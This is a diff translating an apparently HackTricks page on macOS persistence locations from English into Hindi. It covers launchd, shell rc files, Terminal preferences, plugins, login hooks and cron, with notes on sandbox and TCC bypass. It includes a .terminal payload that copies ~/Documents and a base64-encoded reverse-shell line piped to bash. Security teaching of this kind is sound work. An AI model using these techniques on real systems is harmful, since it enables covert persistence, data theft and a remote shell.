एक दिलचस्प तथ्य के रूप में, **`launchd`** में एक एम्बेडेड प्रॉपर्टी लिस्ट है जो Mach-o सेक्शन `__Text.__config` में है, जिसमें अन्य प्रसिद्ध सेवाएँ शामिल हैं जिन्हें launchd को शुरू करना चाहिए। इसके अलावा, इन सेवाओं में `RequireSuccess`, `RequireRun` और `RebootOnSuccess` हो सकते हैं, जिसका अर्थ है कि उन्हें चलाना और सफलतापूर्वक पूरा करना चाहिए। > -> Ofc, It cannot be modified because of code signing. +> बेशक, इसे कोड साइनिंग के कारण संशोधित नहीं किया जा सकता है। -#### Description & Exploitation +#### विवरण और शोषण -**`launchd`** is the **first** **process** executed by OX S kernel at startup and the last one to finish at shut down. It should always have the **PID 1**. This process will **read and execute** the configurations indicated in the **ASEP** **plists** in: +**`launchd`** OX S कर्नेल द्वारा स्टार्टअप पर निष्पादित होने वाली **पहली** **प्रक्रिया** है और शटडाउन पर समाप्त होने वाली अंतिम प्रक्रिया है। इसे हमेशा **PID 1** होना चाहिए। यह प्रक्रिया **ASEP** **plists** में निर्दिष्ट कॉन्फ़िगरेशन को **पढ़ेगी और निष्पादित करेगी**: -- `/Library/LaunchAgents`: Per-user agents installed by the admin -- `/Library/LaunchDaemons`: System-wide daemons installed by the admin -- `/System/Library/LaunchAgents`: Per-user agents provided by Apple. -- `/System/Library/LaunchDaemons`: System-wide daemons provided by Apple. +- `/Library/LaunchAgents`: व्यवस्थापक द्वारा स्थापित प्रति-उपयोगकर्ता एजेंट +- `/Library/LaunchDaemons`: व्यवस्थापक द्वारा स्थापित प्रणाली-व्यापी डेमन +- `/System/Library/LaunchAgents`: Apple द्वारा प्रदान किए गए प्रति-उपयोगकर्ता एजेंट। +- `/System/Library/LaunchDaemons`: Apple द्वारा प्रदान किए गए प्रणाली-व्यापी डेमन। -When a user logs in the plists located in `/Users/$USER/Library/LaunchAgents` and `/Users/$USER/Library/LaunchDemons` are started with the **logged users permissions**. - -The **main difference between agents and daemons is that agents are loaded when the user logs in and the daemons are loaded at system startup** (as there are services like ssh that needs to be executed before any user access the system). Also agents may use GUI while daemons need to run in the background. +जब एक उपयोगकर्ता लॉग इन करता है, तो `/Users/$USER/Library/LaunchAgents` और `/Users/$USER/Library/LaunchDemons` में स्थित plists को **लॉग इन किए गए उपयोगकर्ताओं की अनुमतियों** के साथ शुरू किया जाता है। +एजेंट और डेमन के बीच **मुख्य अंतर यह है कि एजेंट तब लोड होते हैं जब उपयोगकर्ता लॉग इन करता है और डेमन सिस्टम स्टार्टअप पर लोड होते हैं** (क्योंकि ऐसे सेवाएँ हैं जैसे ssh जिन्हें किसी भी उपयोगकर्ता के सिस्टम में प्रवेश करने से पहले निष्पादित करने की आवश्यकता होती है)। इसके अलावा, एजेंट GUI का उपयोग कर सकते हैं जबकि डेमन को बैकग्राउंड में चलाना आवश्यक है। ```xml - Label - com.apple.someidentifier - ProgramArguments - - bash -c 'touch /tmp/launched' - - RunAtLoad - StartInterval - 800 - KeepAlive - - SuccessfulExit - - +Label +com.apple.someidentifier +ProgramArguments + +bash -c 'touch /tmp/launched' + +RunAtLoad +StartInterval +800 +KeepAlive + +SuccessfulExit + + ``` - -There are cases where an **agent needs to be executed before the user logins**, these are called **PreLoginAgents**. For example, this is useful to provide assistive technology at login. They can be found also in `/Library/LaunchAgents`(see [**here**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) an example). +ऐसे मामले हैं जहाँ एक **एजेंट को उपयोगकर्ता लॉगिन करने से पहले निष्पादित करने की आवश्यकता होती है**, इन्हें **PreLoginAgents** कहा जाता है। उदाहरण के लिए, यह लॉगिन पर सहायक तकनीक प्रदान करने के लिए उपयोगी है। इन्हें `/Library/LaunchAgents` में भी पाया जा सकता है (एक उदाहरण के लिए [**यहाँ**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) देखें)। > [!NOTE] -> New Daemons or Agents config files will be **loaded after next reboot or using** `launchctl load ` It's **also possible to load .plist files without that extension** with `launchctl -F ` (however those plist files won't be automatically loaded after reboot).\ -> It's also possible to **unload** with `launchctl unload ` (the process pointed by it will be terminated), +> नए Daemons या Agents कॉन्फ़िग फ़ाइलें **अगली रिबूट के बाद या** `launchctl load ` का उपयोग करके **लोड की जाएंगी**। यह **बिना उस एक्सटेंशन के .plist फ़ाइलों को लोड करना भी संभव है** `launchctl -F ` के साथ (हालांकि वे plist फ़ाइलें रिबूट के बाद स्वचालित रूप से लोड नहीं होंगी)।\ +> इसे **unload** करना भी संभव है `launchctl unload ` के साथ (इसके द्वारा इंगित प्रक्रिया समाप्त कर दी जाएगी), > -> To **ensure** that there isn't **anything** (like an override) **preventing** an **Agent** or **Daemon** **from** **running** run: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` - -List all the agents and daemons loaded by the current user: +> यह **सुनिश्चित करने के लिए** कि कोई **भी** (जैसे एक ओवरराइड) **एक** **एजेंट** या **डेमन** **के** **चलने** से **रोक** नहीं रहा है, चलाएँ: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` +वर्तमान उपयोगकर्ता द्वारा लोड किए गए सभी एजेंटों और डेमनों की सूची बनाएं: ```bash launchctl list ``` - > [!WARNING] -> If a plist is owned by a user, even if it's in a daemon system wide folders, the **task will be executed as the user** and not as root. This can prevent some privilege escalation attacks. +> यदि एक plist एक उपयोगकर्ता द्वारा स्वामित्व में है, भले ही यह एक डेमन सिस्टम वाइड फ़ोल्डर्स में हो, तो **कार्य उपयोगकर्ता के रूप में निष्पादित होगा** और रूट के रूप में नहीं। यह कुछ विशेषाधिकार वृद्धि हमलों को रोक सकता है। -#### More info about launchd +#### launchd के बारे में अधिक जानकारी -**`launchd`** is the **first** user mode process which is started from the **kernel**. The process start must be **successful** and it **cannot exit or crash**. It's even **protected** against some **killing signals**. +**`launchd`** पहला उपयोगकर्ता मोड प्रक्रिया है जो **kernel** से शुरू होती है। प्रक्रिया प्रारंभ **सफल** होना चाहिए और यह **बंद या क्रैश** नहीं हो सकती। यह कुछ **किलिंग सिग्नल्स** के खिलाफ भी **संरक्षित** है। -One of the first things `launchd` would do is to **start** all the **daemons** like: +`launchd` द्वारा की जाने वाली पहली चीजों में से एक सभी **daemons** को **शुरू करना** है जैसे: -- **Timer daemons** based on time to be executed: - - atd (`com.apple.atrun.plist`): Has a `StartInterval` of 30min - - crond (`com.apple.systemstats.daily.plist`): Has `StartCalendarInterval` to start at 00:15 -- **Network daemons** like: - - `org.cups.cups-lpd`: Listens in TCP (`SockType: stream`) with `SockServiceName: printer` - - SockServiceName must be either a port or a service from `/etc/services` - - `com.apple.xscertd.plist`: Listens on TCP in port 1640 -- **Path daemons** that are executed when a specified path changes: - - `com.apple.postfix.master`: Checking the path `/etc/postfix/aliases` -- **IOKit notifications daemons**: - - `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` -- **Mach port:** - - `com.apple.xscertd-helper.plist`: It's indicating in the `MachServices` entry the name `com.apple.xscertd.helper` +- **टाइमर डेमन** जो निष्पादित होने के लिए समय पर आधारित होते हैं: +- atd (`com.apple.atrun.plist`): इसका `StartInterval` 30 मिनट है +- crond (`com.apple.systemstats.daily.plist`): इसका `StartCalendarInterval` 00:15 पर शुरू करने के लिए है +- **नेटवर्क डेमन** जैसे: +- `org.cups.cups-lpd`: TCP (`SockType: stream`) में सुनता है `SockServiceName: printer` के साथ +- SockServiceName या तो एक पोर्ट या `/etc/services` से एक सेवा होनी चाहिए +- `com.apple.xscertd.plist`: TCP में पोर्ट 1640 पर सुनता है +- **पाथ डेमन** जो एक निर्दिष्ट पाथ के बदलने पर निष्पादित होते हैं: +- `com.apple.postfix.master`: पाथ `/etc/postfix/aliases` की जांच कर रहा है +- **IOKit सूचनाएँ डेमन**: +- `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` +- **Mach पोर्ट:** +- `com.apple.xscertd-helper.plist`: यह `MachServices` प्रविष्टि में नाम `com.apple.xscertd.helper` को इंगित कर रहा है - **UserEventAgent:** - - This is different from the previous one. It makes launchd spawn apps in response to specific event. However, in this case, the main binary involved isn't `launchd` but `/usr/libexec/UserEventAgent`. It loads plugins from the SIP restricted folder /System/Library/UserEventPlugins/ where each plugin indicates its initialiser in the `XPCEventModuleInitializer` key or. in the case of older plugins, in the `CFPluginFactories` dict under the key `FB86416D-6164-2070-726F-70735C216EC0` of its `Info.plist`. +- यह पिछले से अलग है। यह launchd को विशिष्ट घटना के जवाब में ऐप्स उत्पन्न करने के लिए बनाता है। हालाँकि, इस मामले में, शामिल मुख्य बाइनरी `launchd` नहीं है बल्कि `/usr/libexec/UserEventAgent` है। यह SIP प्रतिबंधित फ़ोल्डर /System/Library/UserEventPlugins/ से प्लगइन्स लोड करता है जहाँ प्रत्येक प्लगइन अपने प्रारंभकर्ता को `XPCEventModuleInitializer` कुंजी में या पुराने प्लगइन्स के मामले में, इसके `Info.plist` के कुंजी `FB86416D-6164-2070-726F-70735C216EC0` के तहत `CFPluginFactories` डिक्ट में इंगित करता है। -### shell startup files +### शेल स्टार्टअप फ़ाइलें Writeup: [https://theevilbit.github.io/beyond/beyond_0001/](https://theevilbit.github.io/beyond/beyond_0001/)\ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC Bypass: [✅](https://emojipedia.org/check-mark-button) - - But you need to find an app with a TCC bypass that executes a shell that loads these files +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- TCC बायपास: [✅](https://emojipedia.org/check-mark-button) +- लेकिन आपको एक ऐप ढूंढने की आवश्यकता है जिसमें एक TCC बायपास हो जो एक शेल निष्पादित करता है जो इन फ़ाइलों को लोड करता है -#### Locations +#### स्थान - **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`** - - **Trigger**: Open a terminal with zsh +- **ट्रिगर**: zsh के साथ एक टर्मिनल खोलें - **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`** - - **Trigger**: Open a terminal with zsh - - Root required +- **ट्रिगर**: zsh के साथ एक टर्मिनल खोलें +- रूट आवश्यक - **`~/.zlogout`** - - **Trigger**: Exit a terminal with zsh +- **ट्रिगर**: zsh के साथ एक टर्मिनल से बाहर निकलें - **`/etc/zlogout`** - - **Trigger**: Exit a terminal with zsh - - Root required -- Potentially more in: **`man zsh`** +- **ट्रिगर**: zsh के साथ एक टर्मिनल से बाहर निकलें +- रूट आवश्यक +- संभावित रूप से अधिक में: **`man zsh`** - **`~/.bashrc`** - - **Trigger**: Open a terminal with bash -- `/etc/profile` (didn't work) -- `~/.profile` (didn't work) +- **ट्रिगर**: bash के साथ एक टर्मिनल खोलें +- `/etc/profile` (काम नहीं किया) +- `~/.profile` (काम नहीं किया) - `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` - - **Trigger**: Expected to trigger with xterm, but it **isn't installed** and even after installed this error is thrown: xterm: `DISPLAY is not set` +- **ट्रिगर**: xterm के साथ ट्रिगर होने की उम्मीद थी, लेकिन यह **स्थापित नहीं है** और स्थापित करने के बाद भी यह त्रुटि फेंकी जाती है: xterm: `DISPLAY is not set` -#### Description & Exploitation +#### विवरण और शोषण -When initiating a shell environment such as `zsh` or `bash`, **certain startup files are run**. macOS currently uses `/bin/zsh` as the default shell. This shell is automatically accessed when the Terminal application is launched or when a device is accessed via SSH. While `bash` and `sh` are also present in macOS, they need to be explicitly invoked to be used. - -The man page of zsh, which we can read with **`man zsh`** has a long description of the startup files. +जब `zsh` या `bash` जैसे शेल वातावरण को प्रारंभ किया जाता है, तो **कुछ स्टार्टअप फ़ाइलें चलती हैं**। macOS वर्तमान में डिफ़ॉल्ट शेल के रूप में `/bin/zsh` का उपयोग करता है। यह शेल स्वचालित रूप से तब पहुंचा जाता है जब टर्मिनल एप्लिकेशन लॉन्च किया जाता है या जब किसी डिवाइस को SSH के माध्यम से एक्सेस किया जाता है। जबकि `bash` और `sh` भी macOS में मौजूद हैं, उन्हें उपयोग करने के लिए स्पष्ट रूप से बुलाया जाना चाहिए। +zsh का मैन पृष्ठ, जिसे हम **`man zsh`** के साथ पढ़ सकते हैं, स्टार्टअप फ़ाइलों का एक लंबा विवरण है। ```bash # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc ``` - -### Re-opened Applications +### पुनः खोली गई एप्लिकेशन > [!CAUTION] -> Configuring the indicated exploitation and loging-out and loging-in or even rebooting didn't work for me to execute the app. (The app wasn't being executed, maybe it needs to be running when these actions are performed) +> निर्दिष्ट शोषण को कॉन्फ़िगर करना और लॉग आउट और लॉग इन करना या यहां तक कि पुनरारंभ करना मेरे लिए ऐप को निष्पादित करने के लिए काम नहीं किया। (ऐप निष्पादित नहीं हो रहा था, शायद इन क्रियाओं के प्रदर्शन के समय इसे चलाना आवश्यक है) -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) +**लेख**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### स्थान - **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** - - **Trigger**: Restart reopening applications +- **ट्रिगर**: पुनः खोलने वाली एप्लिकेशन को पुनरारंभ करें -#### Description & Exploitation +#### विवरण और शोषण -All the applications to reopen are inside the plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` +पुनः खोलने के लिए सभी एप्लिकेशन plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` के अंदर हैं -So, make the reopen applications launch your own one, you just need to **add your app to the list**. +तो, पुनः खोलने वाली एप्लिकेशन को अपने स्वयं के एप्लिकेशन को लॉन्च करने के लिए, आपको बस **अपना ऐप सूची में जोड़ना** है। -The UUID can be found listing that directory or with `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` - -To check the applications that will be reopened you can do: +UUID को उस निर्देशिका को सूचीबद्ध करके या `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` के साथ पाया जा सकता है। +पुनः खोली जाने वाली एप्लिकेशनों की जांच करने के लिए आप कर सकते हैं: ```bash defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin #or plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` - -To **add an application to this list** you can use: - +इस सूची में **एक एप्लिकेशन जोड़ने के लिए** आप उपयोग कर सकते हैं: ```bash # Adding iTerm2 /usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \ - -c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ - -c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ - -c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \ - -c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ - ~/Library/Preferences/ByHost/com.apple.loginwindow..plist +-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ +-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ +-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \ +-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ +~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` - ### Terminal Preferences -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - Terminal use to have FDA permissions of the user use it +- Sandbox को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- TCC बायपास: [✅](https://emojipedia.org/check-mark-button) +- टर्मिनल का उपयोग उपयोगकर्ता के FDA अनुमतियों के लिए किया जाता है #### Location - **`~/Library/Preferences/com.apple.Terminal.plist`** - - **Trigger**: Open Terminal +- **Trigger**: टर्मिनल खोलें #### Description & Exploitation -In **`~/Library/Preferences`** are store the preferences of the user in the Applications. Some of these preferences can hold a configuration to **execute other applications/scripts**. +**`~/Library/Preferences`** में उपयोगकर्ता की एप्लिकेशन की प्राथमिकताएँ संग्रहीत होती हैं। इनमें से कुछ प्राथमिकताएँ **अन्य एप्लिकेशन/स्क्रिप्ट्स को निष्पादित करने** के लिए एक कॉन्फ़िगरेशन रख सकती हैं। -For example, the Terminal can execute a command in the Startup: +उदाहरण के लिए, टर्मिनल स्टार्टअप में एक कमांड निष्पादित कर सकता है:
-This config is reflected in the file **`~/Library/Preferences/com.apple.Terminal.plist`** like this: - +यह कॉन्फ़िगरेशन फ़ाइल **`~/Library/Preferences/com.apple.Terminal.plist`** में इस तरह से परिलक्षित होता है: ```bash [...] "Window Settings" => { - "Basic" => { - "CommandString" => "touch /tmp/terminal_pwn" - "Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } - "FontAntialias" => 1 - "FontWidthSpacing" => 1.004032258064516 - "name" => "Basic" - "ProfileCurrentVersion" => 2.07 - "RunCommandAsShell" => 0 - "type" => "Window Settings" - } +"Basic" => { +"CommandString" => "touch /tmp/terminal_pwn" +"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } +"FontAntialias" => 1 +"FontWidthSpacing" => 1.004032258064516 +"name" => "Basic" +"ProfileCurrentVersion" => 2.07 +"RunCommandAsShell" => 0 +"type" => "Window Settings" +} [...] ``` +तो, यदि सिस्टम में टर्मिनल की प्राथमिकताओं का plist ओवरराइट किया जा सकता है, तो **`open`** कार्यक्षमता का उपयोग **टर्मिनल खोलने और उस कमांड को निष्पादित करने के लिए किया जा सकता है**। -So, if the plist of the preferences of the terminal in the system could be overwritten, the the **`open`** functionality can be used to **open the terminal and that command will be executed**. - -You can add this from the cli with: - +आप इसे cli से जोड़ सकते हैं: ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist @@ -245,24 +232,22 @@ You can add this from the cli with: # Remove /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist ``` +### Terminal Scripts / अन्य फ़ाइल एक्सटेंशन्स -### Terminal Scripts / Other file extensions +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- TCC बायपास: [✅](https://emojipedia.org/check-mark-button) +- टर्मिनल का उपयोग उपयोगकर्ता के FDA अनुमतियों के लिए किया जाता है -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - Terminal use to have FDA permissions of the user use it +#### स्थान -#### Location +- **कहीं भी** +- **ट्रिगर**: टर्मिनल खोलें -- **Anywhere** - - **Trigger**: Open Terminal +#### विवरण और शोषण -#### Description & Exploitation - -If you create a [**`.terminal`** script](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) and opens, the **Terminal application** will be automatically invoked to execute the commands indicated in there. If the Terminal app has some special privileges (such as TCC), your command will be run with those special privileges. - -Try it with: +यदि आप एक [**`.terminal`** स्क्रिप्ट](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) बनाते हैं और इसे खोलते हैं, तो **टर्मिनल एप्लिकेशन** स्वचालित रूप से वहां निर्दिष्ट कमांड को निष्पादित करने के लिए सक्रिय हो जाएगा। यदि टर्मिनल ऐप के पास कुछ विशेष विशेषाधिकार हैं (जैसे TCC), तो आपका कमांड उन विशेष विशेषाधिकारों के साथ चलाया जाएगा। +इसे आजमाएं: ```bash # Prepare the payload cat > /tmp/test.terminal << EOF @@ -270,16 +255,16 @@ cat > /tmp/test.terminal << EOF - CommandString - mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents; - ProfileCurrentVersion - 2.0600000000000001 - RunCommandAsShell - - name - exploit - type - Window Settings +CommandString +mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents; +ProfileCurrentVersion +2.0600000000000001 +RunCommandAsShell + +name +exploit +type +Window Settings EOF @@ -290,48 +275,47 @@ open /tmp/test.terminal # Use something like the following for a reverse shell: echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash; ``` - -You could also use the extensions **`.command`**, **`.tool`**, with regular shell scripts content and they will be also opened by Terminal. +आप **`.command`**, **`.tool`** एक्सटेंशन का उपयोग भी कर सकते हैं, जिनमें नियमित शेल स्क्रिप्ट सामग्री होती है और इन्हें भी टर्मिनल द्वारा खोला जाएगा। > [!CAUTION] -> If terminal has **Full Disk Access** it will be able to complete that action (note that the command executed will be visible in a terminal window). +> यदि टर्मिनल के पास **पूर्ण डिस्क एक्सेस** है, तो यह उस क्रिया को पूरा कर सकेगा (ध्यान दें कि निष्पादित कमांड टर्मिनल विंडो में दिखाई देगा)। -### Audio Plugins +### ऑडियो प्लगइन्स Writeup: [https://theevilbit.github.io/beyond/beyond_0013/](https://theevilbit.github.io/beyond/beyond_0013/)\ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - You might get some extra TCC access +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- TCC बायपास: [🟠](https://emojipedia.org/large-orange-circle) +- आपको कुछ अतिरिक्त TCC एक्सेस मिल सकता है -#### Location +#### स्थान - **`/Library/Audio/Plug-Ins/HAL`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- रूट आवश्यक +- **ट्रिगर**: coreaudiod या कंप्यूटर को पुनः प्रारंभ करें - **`/Library/Audio/Plug-ins/Components`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- रूट आवश्यक +- **ट्रिगर**: coreaudiod या कंप्यूटर को पुनः प्रारंभ करें - **`~/Library/Audio/Plug-ins/Components`** - - **Trigger**: Restart coreaudiod or the computer +- **ट्रिगर**: coreaudiod या कंप्यूटर को पुनः प्रारंभ करें - **`/System/Library/Components`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- रूट आवश्यक +- **ट्रिगर**: coreaudiod या कंप्यूटर को पुनः प्रारंभ करें -#### Description +#### विवरण -According to the previous writeups it's possible to **compile some audio plugins** and get them loaded. +पिछले लेखों के अनुसार, **कुछ ऑडियो प्लगइन्स को संकलित करना** और उन्हें लोड करना संभव है। -### QuickLook Plugins +### क्विकलुक प्लगइन्स Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - You might get some extra TCC access +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- TCC बायपास: [🟠](https://emojipedia.org/large-orange-circle) +- आपको कुछ अतिरिक्त TCC एक्सेस मिल सकता है -#### Location +#### स्थान - `/System/Library/QuickLook` - `/Library/QuickLook` @@ -339,29 +323,28 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.g - `/Applications/AppNameHere/Contents/Library/QuickLook/` - `~/Applications/AppNameHere/Contents/Library/QuickLook/` -#### Description & Exploitation +#### विवरण और शोषण -QuickLook plugins can be executed when you **trigger the preview of a file** (press space bar with the file selected in Finder) and a **plugin supporting that file type** is installed. +क्विकलुक प्लगइन्स को तब निष्पादित किया जा सकता है जब आप **एक फ़ाइल का पूर्वावलोकन ट्रिगर करते हैं** (फाइंडर में फ़ाइल का चयन करके स्पेस बार दबाएं) और एक **प्लगइन जो उस फ़ाइल प्रकार का समर्थन करता है** स्थापित है। -It's possible to compile your own QuickLook plugin, place it in one of the previous locations to load it and then go to a supported file and press space to trigger it. +यह संभव है कि आप अपना खुद का क्विकलुक प्लगइन संकलित करें, इसे पिछले स्थानों में से एक में रखें ताकि इसे लोड किया जा सके और फिर एक समर्थित फ़ाइल पर जाएं और इसे ट्रिगर करने के लिए स्पेस दबाएं। -### ~~Login/Logout Hooks~~ +### ~~लॉगिन/लॉगआउट हुक~~ > [!CAUTION] -> This didn't work for me, neither with the user LoginHook nor with the root LogoutHook +> यह मेरे लिए काम नहीं किया, न ही उपयोगकर्ता LoginHook के साथ और न ही रूट LogoutHook के साथ **Writeup**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### स्थान -- You need to be able to execute something like `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` - - `Lo`cated in `~/Library/Preferences/com.apple.loginwindow.plist` - -They are deprecated but can be used to execute commands when a user logs in. +- आपको कुछ ऐसा निष्पादित करने में सक्षम होना चाहिए जैसे `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` +- `Lo`cated in `~/Library/Preferences/com.apple.loginwindow.plist` +वे अप्रचलित हैं लेकिन उपयोगकर्ता लॉगिन करते समय कमांड निष्पादित करने के लिए उपयोग किए जा सकते हैं। ```bash cat > $HOME/hook.sh << EOF #!/bin/bash @@ -371,97 +354,85 @@ chmod +x $HOME/hook.sh defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh ``` - -This setting is stored in `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` - +यह सेटिंग `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` में संग्रहीत है। ```bash defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist { - LoginHook = "/Users/username/hook.sh"; - LogoutHook = "/Users/username/hook.sh"; - MiniBuddyLaunch = 0; - TALLogoutReason = "Shut Down"; - TALLogoutSavesState = 0; - oneTimeSSMigrationComplete = 1; +LoginHook = "/Users/username/hook.sh"; +LogoutHook = "/Users/username/hook.sh"; +MiniBuddyLaunch = 0; +TALLogoutReason = "Shut Down"; +TALLogoutSavesState = 0; +oneTimeSSMigrationComplete = 1; } ``` - -To delete it: - +इसे हटाने के लिए: ```bash defaults delete com.apple.loginwindow LoginHook defaults delete com.apple.loginwindow LogoutHook ``` - The root user one is stored in **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** ## Conditional Sandbox Bypass > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** and **expecting not super common conditions** like specific **programs installed, "uncommon" user** actions or environments. +> यहाँ आप **sandbox bypass** के लिए उपयोगी प्रारंभ स्थान पा सकते हैं जो आपको **किसी फ़ाइल में लिखकर** और **विशिष्ट "कार्यक्रमों के स्थापित होने, "असामान्य" उपयोगकर्ता** क्रियाओं या वातावरणों जैसी सामान्य स्थितियों की अपेक्षा न करके** कुछ निष्पादित करने की अनुमति देता है। ### Cron **Writeup**: [https://theevilbit.github.io/beyond/beyond_0004/](https://theevilbit.github.io/beyond/beyond_0004/) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - However, you need to be able to execute `crontab` binary - - Or be root +- However, you need to be able to execute `crontab` binary +- Or be root - TCC bypass: [🔴](https://emojipedia.org/large-red-circle) #### Location - **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** - - Root required for direct write access. No root required if you can execute `crontab ` - - **Trigger**: Depends on the cron job +- Root required for direct write access. No root required if you can execute `crontab ` +- **Trigger**: Depends on the cron job #### Description & Exploitation List the cron jobs of the **current user** with: - ```bash crontab -l ``` +आप उपयोगकर्ताओं के सभी क्रॉन कार्य भी देख सकते हैं **`/usr/lib/cron/tabs/`** और **`/var/at/tabs/`** (रूट की आवश्यकता है)। -You can also see all the cron jobs of the users in **`/usr/lib/cron/tabs/`** and **`/var/at/tabs/`** (needs root). - -In MacOS several folders executing scripts with **certain frequency** can be found in: - +MacOS में कुछ निश्चित आवृत्ति के साथ स्क्रिप्ट निष्पादित करने वाले कई फ़ोल्डर पाए जा सकते हैं: ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` +आप वहाँ नियमित **cron** **jobs**, **at** **jobs** (बहुत अधिक उपयोग नहीं होते) और **periodic** **jobs** (मुख्य रूप से अस्थायी फ़ाइलों को साफ़ करने के लिए उपयोग किए जाते हैं) पा सकते हैं। दैनिक आवधिक कार्यों को उदाहरण के लिए इस तरह चलाया जा सकता है: `periodic daily`। -There you can find the regular **cron** **jobs**, the **at** **jobs** (not very used) and the **periodic** **jobs** 